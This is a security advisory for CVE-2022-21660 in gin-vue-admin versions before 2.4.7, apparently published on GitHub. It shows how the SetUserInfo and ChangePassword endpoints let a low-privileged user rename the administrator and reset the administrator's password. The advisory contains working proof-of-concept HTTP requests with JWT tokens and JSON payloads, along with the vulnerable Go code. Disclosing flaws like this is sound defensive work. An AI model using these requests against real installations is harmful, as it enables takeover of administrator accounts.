Skip to content

Setuserinfo interface is vertically unauthorized

High
piexlmax published GHSA-xxvh-9c87-pqjx Feb 9, 2022

Package

gomod github.com/flipped-aurora/gin-vue-admin (Go)

Affected versions

<2.4.7

Patched versions

2.4.7

Description

二、Environment setup

Follow the official tutorial

git clone https://github.com/flipped-aurora/gin-vue-admin.git

Then enter the server directory

go generate

image-20211230134341075

go build -o server main.go 

Then run the server directly

image-20211230134411233

Followed by WEB, enter the web directory, enter

cnpm install || npm install

Then wait

image-20211230134632959

After the installation is complete, it will automatically open the WEB page

image-20211230135126848

image-20211230135135212

Then initialize the database information

image-20211230135407388

After configuration, click Initialize and log in

image-20211230135437587

三、Vulnerability recurrence

SetUserInfo has vertical overreach

1、SetUserInfo interface unauthorized setting user personal information

We go directly to the user management page and add a low-privileged user role

image-20211230143853535

You can see that the above does not give the administrator permissions, then create a new account and assign it to this role group

image-20211230144026344

image-20211230144005936

The location of the vulnerability is at line 273 of https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go

image-20211230141604735

// @Tags SysUser
// @Summary 设置用户信息
// @Security ApiKeyAuth
// @accept application/json
// @Produce application/json
// @Param data body system.SysUser true "ID, 用户名, 昵称, 头像链接"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"设置成功"}"
// @Router /user/setUserInfo [put]
func (b *BaseApi) SetUserInfo(c *gin.Context) {
	var user system.SysUser
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.IdVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	if err, ReqUser := userService.SetUserInfo(user); err != nil {
		global.GVA_LOG.Error("设置失败!", zap.Error(err))
		response.FailWithMessage("设置失败", c)
	} else {
		response.OkWithDetailed(gin.H{"userInfo": ReqUser}, "设置成功", c)
	}
}

There is no verification of the incoming ID. If the ID represents the user, you can modify the personal information of the corresponding user by directly passing in the specified ID

image-20211230141732113

First, we use the administrator’s X-token test to modify the name of the user with ID 1 to test1, and then we can see in the background that the administrator’s ID has been modified to test1

image-20211230144216099

So next, we replace it with the Token of the newly created UzJu_HxSecTeam account, and change the administrator username to test2

First of all, personal information of our UzJu_HxSecTeam account> modify password, modify the password here, and then get the account token

image-20211230144321622

This Token is the role of low-privilege. Normally low-privileged users cannot modify any information of the administrator.

x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs

We replace the Token to construct the following Json data

{
  "id":1,
  "username":"test2",
  "nickName":"test2",
  "headerImg":""
}

image-20211230144527291

We replace the Token to the setUserinfo interface

PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiYTM1NTRiYmYtYzQwNS00ZWEwLTkzZjQtMzQ1YTRiNzIxMWYxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1MDk5OCwiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODQ1MTk4fQ.0vm9DA7RHOi-ZBN6p-C4RIjJS7Qs9kbXKLNpmc6nyDs
x-user-id: 1
Content-Length: 67
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"test2",
"nickName":"test2",
"headerImg":""}

Then prompted us that the setup was successful

image-20211230144654682

This is when we switch to the administrator account to see if it has been modified to test2

image-20211230144727266

You can see that the administrator user was successfully modified

2、SetUserInfo interface vertical unauthorized modification of administrator password unconditionally

During Debug, I found that in the interface setUserInfo that sets personal information without authority, not only id, username, nickname, headimg, but also parameters such as password can be passed in.

image-20211230222713086

For example, we construct a request to set the user name with ID 1 to admin and the nickname to super user administrator

image-20211230222755083

PUT /api/user/setUserInfo HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJVVUlEIjoiZjkwNjRhMWItNzU2Yi00NTNjLTlkNDAtOWZlZmY5OWI2ZTUxIiwiSUQiOjMsIlVzZXJuYW1lIjoiVXpKdV9IeFNlY1RlYW0iLCJOaWNrTmFtZSI6IlV6SnVfSHhTZWNUZWFtIiwiQXV0aG9yaXR5SWQiOiIxMjM0IiwiQnVmZmVyVGltZSI6ODY0MDAsImV4cCI6MTY0MTQ1Nzc1NywiaXNzIjoicW1QbHVzIiwibmJmIjoxNjQwODUxOTU3fQ.rHCKW7c2kIsaCRKsgI1Nizu18dGKfsOH_m_dW59cY9U
x-user-id: 1
Content-Length: 91
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"id":1,
"username":"admin",
"nickName":"超级用户管理员",
"Password":"qwe@123"
}

At this time, the administrator’s password has been changed to qwe@123, try to log in

image-20211230222853109

Then successfully logged in

image-20211230222906607

Then we can try more parameters, try to modify the role group (AuthorityId) of the user with id 2 (Account2) to 1234

3、Modify user password without authority

PS: There is a prerequisite, you need to know the password of the user I want to change

First of all, we know that the default admin password is 123456. At this time, we only need to construct the Json data, and modify the username parameter in the Json data to the username we want to modify without authorization.

First, we log in to a low-privileged account and change the password once

image-20211230145433929

We will catch a changePassword request, and then put this request into the Repeater

image-20211230145506647

Then we only need to modify the username parameter to admin

image-20211230145615220

Then we will be prompted to modify successfully, and then we use the new password to log in to admin

image-20211230145704428

Then successfully logged in

image-20211230145725332

The location of the vulnerability is https://github.com/flipped-aurora/gin-vue-admin/blob/master/server/api/v1/system/sys_user.go, line 139

// @Tags SysUser
// @Summary 用户修改密码
// @Security ApiKeyAuth
// @Produce  application/json
// @Param data body systemReq.ChangePasswordStruct true "用户名, 原密码, 新密码"
// @Success 200 {string} string "{"success":true,"data":{},"msg":"修改成功"}"
// @Router /user/changePassword [post]
func (b *BaseApi) ChangePassword(c *gin.Context) {
	var user systemReq.ChangePasswordStruct
	_ = c.ShouldBindJSON(&user)
	if err := utils.Verify(user, utils.ChangePasswordVerify); err != nil {
		response.FailWithMessage(err.Error(), c)
		return
	}
	u := &system.SysUser{Username: user.Username, Password: user.Password}
	if err, _ := userService.ChangePassword(u, user.NewPassword); err != nil {
		global.GVA_LOG.Error("修改失败!", zap.Error(err))
		response.FailWithMessage("修改失败,原密码与当前账户不符", c)
	} else {
		response.OkWithMessage("修改成功", c)
	}
}

Severity

High

CVE ID

CVE-2022-21660

Weaknesses

Credits